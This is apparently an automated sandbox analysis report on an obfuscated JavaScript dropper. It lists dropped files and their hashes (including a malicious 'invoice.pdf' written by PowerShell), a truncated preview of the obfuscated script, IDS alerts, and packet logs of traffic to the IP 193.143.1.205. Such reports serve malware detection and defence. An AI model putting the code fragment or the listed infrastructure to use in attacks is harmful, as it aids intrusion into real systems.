Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dc3828ed-0a04-4766-869d-15dc896a472f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xxZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:JPwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	0E1D95591CE88A31DF3F3E31035FC038
SHA1:	6A325B35D4CA36F576FEBEC73538DDEE26E6A2F7
SHA-256:	3AD26C0D9489D2A661F62647B483E9FC71EB7CCC98EE10B0E8938035F5FA053F
SHA-512:	5C6CDEB7A9508E788BEEBE11972F15583C53B087CD155462886722200A0D4C1A5A6FC4D0CDF0E0E9AD5ED77F8F39B12326AC22662D30D1F94C816095A85409CF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16609), with CRLF line terminators
Entropy (8bit):	4.926121273182173
TrID:
File name:	27321191142887719888.js
File size:	20'105 bytes
MD5:	49847cff7f099e62deaa604044d8aa2e
SHA1:	22e98d8a9366637796fb66d93d98a183b446d8a8
SHA256:	8978d6364cae1b05d2e4aafdce663849b53385ba2b4e53b6987d31a6f4efd58d
SHA512:	3d63a8c5e773ee744bc23de2dde5c3a3b2de47ca265705e6cd335ab9f07546145d92637fc1c6b62bccbb079521e5474baf164fea15116f6920df498b04fe4ad8
SSDEEP:	384:xsyWW1lb1m4kE1ma1mQhgAYK5+uXKEovzZ1iP057gfzY/7gfXV/JoihpIxUGEpQn:xsyR1lb1m4kE1ma1mQhdYK5+uXKEovzL
TLSH:	0892314692007D578BE2053049B701FD44F9418CA9DCE5FEA8B72A8B929CEB0B2F95F5
File Content Preview:	function uqnoulx(){xhsduvxe=[1031,3079,5127,4103,2055,3072];var mirccoleo=this[lfyaehlam+kywrzqtec+pnaghev+gzbfuzth+bbphlj+lsypfgy+ytzhk+nmmcrzzb](this[rprsf+hsxqfz+qdtnm+pnaghev+nqymkh+lfyaehlam+nmmcrzzb][sticnvshn+pnaghev+bbphlj+kywrzqtec+nmmcrzzb+bbphl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:29:41.945022+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T21:29:44.466661+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:29:41.161386013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:41.166373014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.166496038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:41.169313908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:41.174218893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.944891930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.944920063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.944933891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.945022106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:41.945050955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.945064068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.945091963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:41.945106030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.945122004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.945139885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:41.945144892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.945161104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.945177078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.945183992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:41.945214033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:41.949780941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.991298914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.991321087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.991374016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.991389036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:41.991436005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:41.991468906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.061810970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.061827898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.061836004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.062064886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.062082052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.062097073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.062194109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.062194109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.062194109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.062386036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.062401056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.062423944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.062438965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.062443018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.062455893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.062474966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.063319921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.063334942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.063350916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.063359022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.063364983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.063380957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.063383102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.063421011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.064157963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.064192057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.064205885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.064218998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.064228058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.064254045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.078085899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.108140945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.108160973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.108175993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.108233929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.108247042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.108249903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.108285904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.108304024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.148561954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.148605108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.148662090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.178977966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179034948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179083109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179116964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179147959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.179153919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179188013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179218054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.179231882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179239988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.179286003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179343939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179348946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.179382086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179444075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.179582119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179616928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179651976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179682016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.179685116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179721117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179738045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.179754972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179790974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.179797888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.180408001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.180454969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.180460930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.180497885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.180532932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.180548906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.180567980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.180602074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.180609941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.180639029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.180682898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.181246996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.181332111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.181365967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.181375027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.181402922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.181437016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.181449890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.181472063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.181513071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.181525946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.182132959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.182182074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.182188034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.182223082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.182259083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.182280064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.182292938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.182337046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.194796085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.194854021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.194889069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.194924116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.194926023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.194972038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.224873066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.224929094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.225001097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.225039005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.225069046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.225105047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.225117922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.235390902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.235408068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.235424042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.235439062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.235455036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.235523939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.235563993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.269079924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.269145966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.269205093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.295577049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.295624971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.295640945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.295659065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.295680046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.295717955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.295998096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296015024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296030045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296045065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296061039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296067953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.296076059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296087980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.296092033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296106100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296113014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.296122074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296139956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.296145916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296160936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296180964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.296183109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296215057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.296638966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296694040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296709061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296725988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296729088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.296756983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.296928883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296945095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296963930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.296979904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.296984911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297000885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297019958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.297384024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297401905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297419071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297425032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.297434092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297455072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.297460079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297477007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297492981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297508001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297523975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297524929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.297538042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297549963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.297554016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.297574997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.297593117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.298171043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298187017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298202038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298222065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.298226118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298240900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298254967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298264980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.298278093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298291922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.298295021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298310041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298324108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298333883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.298338890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298353910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.298355103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.298397064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.299176931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299195051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299217939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299232960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.299240112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299256086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299272060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299276114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.299288034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299302101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299307108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.299336910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299345016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.299352884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299367905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299384117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.299388885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.299415112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.300091982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.300111055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.300126076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.300127983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.300143003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.300158978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.300165892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.300185919 CET	49704	80	192.168.2.5	193.143.1.205
